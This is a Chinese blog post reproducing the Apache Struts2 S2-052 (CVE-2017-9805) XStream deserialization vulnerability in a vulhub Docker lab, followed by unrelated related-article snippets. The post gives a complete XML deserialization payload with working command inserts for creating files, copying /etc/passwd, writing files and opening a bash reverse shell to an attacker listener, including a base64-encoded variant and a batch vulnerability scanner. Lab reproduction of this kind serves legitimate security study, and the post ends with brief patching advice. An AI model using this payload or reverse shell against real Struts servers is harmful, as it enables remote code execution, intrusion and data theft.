[ vulhub漏洞复现篇 ] struts2远程代码执行漏洞s2-052(CVE-2017-9805)

news2024/11/23 6:58:38

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 🍬 博主介绍
  • 一、漏洞编号
  • 二、影响范围
  • 三、漏洞描述
  • 四、环境搭建
    • 1、进入s2-052环境
    • 2、启动s2-052环境
    • 3、查看s2-052环境
    • 4、访问s2-052环境
    • 5、查看s2-052漏洞提示信息
    • 6、关闭s2-052环境
  • 五、漏洞复现
    • 1、POC
    • 2、进入漏洞页面
    • 3、进入漏洞点抓包
    • 4、创建文件
      • 1.修改数据包在/tmp目录下创建PowerShell.txt文件
      • 2.进行重放攻击
      • 3.PowerShell.txt文件创建成功
    • 5、读取文件
      • 1.修改数据包进行重放攻击
      • 2.读取文件成功
    • 6、写文件
      • 1.修改数据包进行重放攻击
      • 2.文件写入成功
  • 六、getshell
    • 1、攻击机监听
    • 2、靶机连接
      • 1.反弹shell命令
      • 2.exec编码
      • 3.构造payload
      • 4.执行命令
    • 3、getshell成功
  • 七、脚本检测
    • 1、单个url检测
    • 2、批量url检测
  • 八、漏洞修复
  • 九、相关资源

一、漏洞编号

s2-052
CVE-2017-9805

二、影响范围

Struts 2.1.6 - Struts 2.3.33
Struts 2.5 - Struts 2.5.12

三、漏洞描述

Apache Struts2的REST插件存在远程代码执行的高危漏洞,其编号为CVE-2017-9805(S2-052)。Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。

四、环境搭建

1、进入s2-052环境

cd vulhub/struts2/s2-052

在这里插入图片描述

2、启动s2-052环境

docker-compose up -d

在这里插入图片描述

3、查看s2-052环境

docker-compose ps

在这里插入图片描述

4、访问s2-052环境

http://ip:端口/orders

http://192.168.233.128:8080/orders

在这里插入图片描述

5、查看s2-052漏洞提示信息

cat README.md

在这里插入图片描述

6、关闭s2-052环境

复现完记得关闭环境

docker-compose down

在这里插入图片描述

五、漏洞复现

1、POC

<map>

<entry>

<jdk.nashorn.internal.objects.NativeString>

<flags>0</flags>

<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">

<dataHandler>

<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">

<is class="javax.crypto.CipherInputStream">

<cipher class="javax.crypto.NullCipher">

<initialized>false</initialized>

<opmode>0</opmode>

<serviceIterator class="javax.imageio.spi.FilterIterator">

<iter class="javax.imageio.spi.FilterIterator">

<iter class="java.util.Collections$EmptyIterator"/>

<next class="java.lang.ProcessBuilder">

<command>
命令插入区域
</command>

<redirectErrorStream>false</redirectErrorStream>

</next>

</iter>

<filter class="javax.imageio.ImageIO$ContainsFilter">

<method>

<class>java.lang.ProcessBuilder</class>

<name>start</name>

<parameter-types/>

</method>

<name>foo</name>

</filter>

<next class="string">foo</next>

</serviceIterator>

<lock/>

</cipher>

<input class="java.lang.ProcessBuilder$NullInputStream"/>

<ibuffer></ibuffer>

<done>false</done>

<ostart>0</ostart>

<ofinish>0</ofinish>

<closed>false</closed>

</is>

<consumed>false</consumed>

</dataSource>

<transferFlavors/>

</dataHandler>

<dataLen>0</dataLen>

</value>

</jdk.nashorn.internal.objects.NativeString>

<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>

</entry>

<entry>

<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

</entry>

</map>

2、进入漏洞页面

http://ip:端口/orders

http://192.168.233.128:8080/orders

在这里插入图片描述

3、进入漏洞点抓包

点击一个edit进行编译页面,然后提交,并用burp抓包,放入重放攻击模块。

在这里插入图片描述

抓到的数据包如下

在这里插入图片描述

4、创建文件

1.修改数据包在/tmp目录下创建PowerShell.txt文件

Content-Type: application/x-www-form-urlencoded 修改为:
Content-Type: application/xml
post数据做如下修改:
下面的command就是反序列化出来的命令执行,把他插入到POC中

<command>
<string>touch</string>
<string>/tmp/PowerShell.txt</string>
</command>

2.进行重放攻击

返回500状态码,但是文件已经创建成功


在这里插入图片描述

3.PowerShell.txt文件创建成功

进入容器查看,发现PowerShell.txt文件创建成功

docker ps
docker exec -it f3bcbfbef902 /bin/bash
ls /tmp

在这里插入图片描述

5、读取文件

1.修改数据包进行重放攻击

Content-Type: application/x-www-form-urlencoded 修改为
Content-Type: application/xml
post数据做如下修改:
下面的command就是反序列化出来的命令执行,把他插入到POC中

<command>
 <string>cp</string>
  <string>/etc/passwd</string> 
<string>/tmp/passwd</string> 
</command>

2.读取文件成功

进入容器查看文件是否写入成功

docker ps
docker exec -it f3bcbfbef902 /bin/bash
ls /tmp
cat /tmp/passwd

在这里插入图片描述

6、写文件

1.修改数据包进行重放攻击

Content-Type: application/x-www-form-urlencoded 修改为
Content-Type: application/xml
post数据做如下修改:
下面的command就是反序列化出来的命令执行,把他插入到POC中

<command>
<string>bash</string>
<string>-c</string>
<string>echo micr067 > /tmp/test.txt</string>
</command>

在这里插入图片描述

2.文件写入成功

进入容器查看文件是否写入成功

docker ps
docker exec -it f3bcbfbef902 /bin/bash
ls /tmp
cat /tmp/test.txt

在这里插入图片描述

六、getshell

1、攻击机监听

nc -lvvp 55555

Nc反弹shell在文末给出

在这里插入图片描述

2、靶机连接

1.反弹shell命令

Bash反弹shell详解在文末给出

bash -i >& /dev/tcp/192.168.233.1/55555 0>&1

2.exec编码

编码工具在文末给出

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xLzU1NTU1IDA+JjE=}|{base64,-d}|{bash,-i}

在这里插入图片描述

3.构造payload

Content-Type: application/x-www-form-urlencoded 修改为
Content-Type: application/xml
post数据做如下修改:
下面的command就是反序列化出来的命令执行,把他插入到POC中

<command> 
<string>bash</string> 
<string>-c</string> <string>{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xLzU1NTU1IDA+JjE=}|{base64,-d}|{bash,-i}</string> 
</command>

4.执行命令

直接进行重放攻击

在这里插入图片描述

3、getshell成功

等了一小会儿之后发现shell反弹过来了

在这里插入图片描述

执行ls /tmp发现我们之前创建的文件

在这里插入图片描述

七、脚本检测

检测脚本CVE-2017-9805_POC.py在文末给出。
当状态是 Status: Vulnerable!时就存在漏洞。

1、单个url检测

python CVE-2017-9805_POC.py -u http://192.168.233.128:8080/orders/3/edit

在这里插入图片描述

2、批量url检测

python CVE-2017-9805_POC.py --list url.txt

在这里插入图片描述

八、漏洞修复

1、升级到Apache Struts版本到最新版本
2、最好的选择是在不使用时删除Struts REST插件,或仅限于服务器普通页面和JSONs:

3、限制服务端扩展类型,删除XML支持。
由于应用的可用类的默认限制,某些REST操作可能会停止工作。在这种情况下,请调查介绍的新接口以允许每个操作定义类限制,那些接口是:

org.apache.struts2.rest.handler.AllowedClasses
org.apache.struts2.rest.handler.AllowedClassNames
org.apache.struts2.rest.handler.XStreamPermissionProvider

九、相关资源

1、docker 搭建 vulhub 靶场环境
2、[ vulhub漏洞复现篇 ] vulhub 漏洞集合 - 表格版本(含漏洞复现文章连接)
3、[ vulhub漏洞复现篇 ] vulhub 漏洞集合(含漏洞复现文章连接)
4、[ 隧道技术 ] 反弹shell的集中常见方式(二)bash 反弹shell
5、[ 隧道技术 ] 反弹shell的集中常见方式(一)nc反弹shell
6、Exec编码工具
7、检测脚本CVE-2017-9805_POC.py

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/91606.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[附源码]Node.js计算机毕业设计高校国防教育管理系统Express

项目运行 环境配置&#xff1a; Node.js最新版 Vscode Mysql5.7 HBuilderXNavicat11Vue。 项目技术&#xff1a; Express框架 Node.js Vue 等等组成&#xff0c;B/S模式 Vscode管理前后端分离等等。 环境需要 1.运行环境&#xff1a;最好是Nodejs最新版&#xff0c;我…

基于java+springboot+mybatis+vue+mysql的结合疫情情况的婚恋系统

项目介绍 现实生活中&#xff0c;很多年轻人的社交圈实际上很狭窄&#xff0c;一方面&#xff0c;多元化的社交方式太少了&#xff0c;另一方面&#xff0c;都市人繁忙的生活又让他们很少有空闲去体验传统交友方式&#xff0c;而网络的快捷和多元化恰恰提供了一个好的交友起点…

Blazor组件自做十三: VideoPlayer 视频播放器

Video.js 是一个具有大量功能的流行的视频和音频 JavaScript 库,今天我们试试集成到 Blazor . Blazor VideoPlayer 视频播放器 组件 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VwxxYiKn-1671068849666)(null)] 示例 https://blazor.app1.es/v…

为什么现代企业的ERP系统必须具备CRM?

各行各业的企业都依赖ERP系统和客户关系管理 (CRM) 系统来简化业务运营。企业的销售和运营信息必须实时联系起来&#xff1b;否则&#xff0c;企业的客户活动在现代社会就会变得缓慢或没有效率。 以下业务对象通常被映射在用于销售的CRM系统和用于运营的ERP系统之间&#xff0…

【Processing】我给网友 “战场小包” 做了他的 “自画像”.

前言 突然疫情放开了&#xff0c;在掘金里认识的一个掘友&#xff08;战场小包&#xff09;&#xff0c;突然今天找我。 &#xff1a;寻思啥事呢&#xff0c;原来找我做个自画像。 &#xff1a;行&#xff01;没问题&#xff01; &#xff1a;结果等半天&#xff08;一晚上到今…

rocketmq源码-broker处理consumer拉取消息请求

前言 在前面consumer拉取消息的博客中&#xff0c;有说过&#xff0c;对于consumer&#xff0c;在拉取消息的时候&#xff0c;是需要指定code码的&#xff0c;在consumer去broker拉取消息的时候&#xff0c;指定的code码是&#xff1a;PULL_MESSAGE&#xff0c;所以这篇博客&a…

[附源码]Nodejs计算机毕业设计基于的婚恋系统Express(程序+LW)

该项目含有源码、文档、程序、数据库、配套开发软件、软件安装教程。欢迎交流 项目运行 环境配置&#xff1a; Node.js Vscode Mysql5.7 HBuilderXNavicat11VueExpress。 项目技术&#xff1a; Express框架 Node.js Vue 等等组成&#xff0c;B/S模式 Vscode管理前后端分…

APISIX Ingress 如何支持自定义插件

摘要&#xff1a;本篇主要介绍了 Ingress 资源相关的语义&#xff0c;以及如何对 Ingress 资源进行能力的扩展。 作者&#xff1a;张晋涛&#xff0c;API7.ai 云原生技术专家&#xff0c;Apache APISIX PMC 成员&#xff0c;Apache APISIX Ingress Controller 项目维护者。 Ing…

基于C++ 实现简易图书管理系统【100010046】

图书管理系统 基于 C 实现简易图书管理系统 该项目是在学习完 C 语言后&#xff0c;独立完成设计开发的简易图书管理系统 设计的基本要求 基本完成对图书系统的设计&#xff0c;包含基本的功能&#xff0c;无界面设计。 要有明显的分类&#xff0c;对不同的进入者有不同的…

机器学习算法原理归纳总结:回归、聚类、支持向量、推荐、降维与神经网络

机器学习算法原理归纳总结&#xff1a;回归、聚类、支持向量、推荐、降维与神经网络 本文重点参考&#xff1a;唐宇迪博士的课程PPT [特别鸣谢] 完整版资料下载&#xff1a;机器学习算法原理详解代码实战 1.回归算法 2.逻辑回归 3.决策树 决策树实际上是根据样本的特征个数对样…

汇编语言第二章:寄存器

2. 寄存器 寄存器进行信息的存储&#xff0c;对于汇编程序员来说&#xff0c;CPU 中的主要部件是寄存器。8086CPU 有 14 个寄存器&#xff0c;这些寄存器分别是&#xff1a; AX BX CX DX SI DI SP BP IP CS SS DS ES PSW通用寄存器 8086所有的寄存器都是 16 位的&#xff0c…

Android Rust JNI系列教程(二) 创建第一个Rust JNI项目

前言 提到JNI,大家都会想到C,C.不过如今rust又给我们增加了一个选项,借助rust的jni库(https://github.com/jni-rs/jni-rs),我们可以很方便的使Android与rust交互.从本章起,我们将逐步地了解使用rust实现一些经典的jni方法. 创建Rust项目 创建工程 在命令行输入命令: cargo…

超算/先进计算的发展与应用是什么?

经过近十年的快速发展&#xff0c;我国在超算领域的实力已达到世界先进水平。1993年&#xff0c;我国第一台高性能计算机“曙光一号并行机”研制成功&#xff0c;打破了国外IT巨头对我国超算技术的垄断。 自此&#xff0c;我国不断加快超级计算机研制步伐。从全球超级计算机TO…

精华推荐 | 【MySQL技术专题】「主从同步架构」全面详细透析MySQL的三种主从复制(Replication)机制的原理和实战开发(原理+实战)

前提概要 随着应用业务数据不断的增大&#xff0c;应用的响应速度不断下降&#xff0c;在检测过程中我们不难发现大多数的请求都是查询操作。此时&#xff0c;我们可以将数据库扩展成主从复制模式&#xff0c;将读操作和写操作分离开来&#xff0c;多台数据库分摊请求&#xff…

NEUQACM双周赛(三)

目录7-1 打字&#xff08;C&#xff09;题目描述&#xff1a;输入格式:输出格式:输入样例1:输出样例1:输入样例2:输出样例2:解题思路&#xff1a;7-2 分香肠&#xff08;C&#xff0c;最大公约数&#xff09;题目描述&#xff1a;输入格式:输出格式:输入样例:输出样例:解题思路…

节能降耗 | AIRIOT智慧电力综合管理解决方案

电力技术的发展推动各行各业的生产力&#xff0c;与此同时&#xff0c;企业中高能耗设备的应用以及输配电过程中的电能损耗&#xff0c;也在一定程度上加剧了电能供应压力。以工业制造业为例&#xff0c;企业的管理水平、能耗结构、生产组织方式都关系到能源的有效利用率&#…

电子招投标系统nodejs+vue+elementui

前端技术&#xff1a;nodejsvueelementui 前端&#xff1a;HTML5,CSS3、JavaScript、VUE 1、 node_modules文件夹(有npn install产生) 这文件夹就是在创建完项目后&#xff0c;cd到项目目录执行npm install后生成的文件夹&#xff0c;下载了项目需要的依赖项。 2、packag…

电商新模式——链动2+1模式为你带来社交电商新思路

随着流量入口价值的降低&#xff0c;电商 IP 时代的来临&#xff0c;移动社交电商获得了飞速的发展&#xff0c;在运营与营销的过程中&#xff0c;商家们往往为了降低营销成本&#xff0c;主动制造消费理由&#xff0c;通过各类促销、折扣来刺激消费&#xff0c;然而在回归商业…

Web3中文|NFT如何促进教育的发展?

自问世以来&#xff0c;NFT已经被应用于教育、艺术等多个领域。不过&#xff0c;相较于艺术行业&#xff0c;大多数人对NFT在教育界的作用知之甚少。 那么&#xff0c;就让我们来看看它们在课堂内外的影响都有哪些。 得益于区块链技术&#xff0c;NFT可以提高教育质量&#x…

【蓝桥杯选拔赛真题52】Scratch正话反说 少儿编程scratch图形化编程 蓝桥杯选拔赛真题讲解

目录 scratch正话反说 一、题目要求 编程实现 二、案例分析 1、角色分析